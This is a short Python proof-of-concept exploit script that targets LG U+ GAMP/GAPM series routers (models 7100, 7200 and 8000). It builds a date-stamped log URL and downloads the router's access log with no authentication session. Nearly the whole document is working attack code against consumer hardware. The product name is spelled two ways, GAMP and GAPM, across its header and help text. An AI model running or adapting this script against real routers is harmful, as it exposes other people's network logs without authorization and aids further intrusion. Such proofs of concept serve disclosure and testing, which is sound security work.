#################################################################################
#   Proof Of Concepts - LG GAMP series router - access log without auth		#
#   email : epist.fortunatos@gmail.com                                          #
#                                                                               #
#   tested specifications                                                       #
#   product version :	GAMP-7100,                            			#
#                       GAMP-7200,                                           	#
#                       GAMP-8000						#
#   									        #
#   effect : log download without auth session key			        #
#################################################################################
import sys
import argparse
import datetime
import requests

def usage():
	parser = argparse.ArgumentParser(description='PoC for LG U+ GAPM Series router(GAMP-7100,GAPM-7200,GAPM-8000) - log download without auth session key')
	parser.add_argument('-t', '--target', help='LG U+ GAPM Series router\'s IP')
	parser.add_argument('-v', '--version', help='Router version number: 7100, 7200, 8000')

	args = parser.parse_args()

	if (args.target != None) and (args.version != None):
		return args

	else:
		print 'Invalid arguments'
		exit(1)

def getLog(ip, ver):
	path = 'http://' + str(ip) + '/var/gapm' + str(ver) + '_' + datetime.datetime.today().strftime('%g%m%d') + '.log'
	print path

	response = requests.get(path)
	print response.text

def main():
	args = usage()
	getLog(args.target, args.version)

if __name__ == '__main__':
	main()
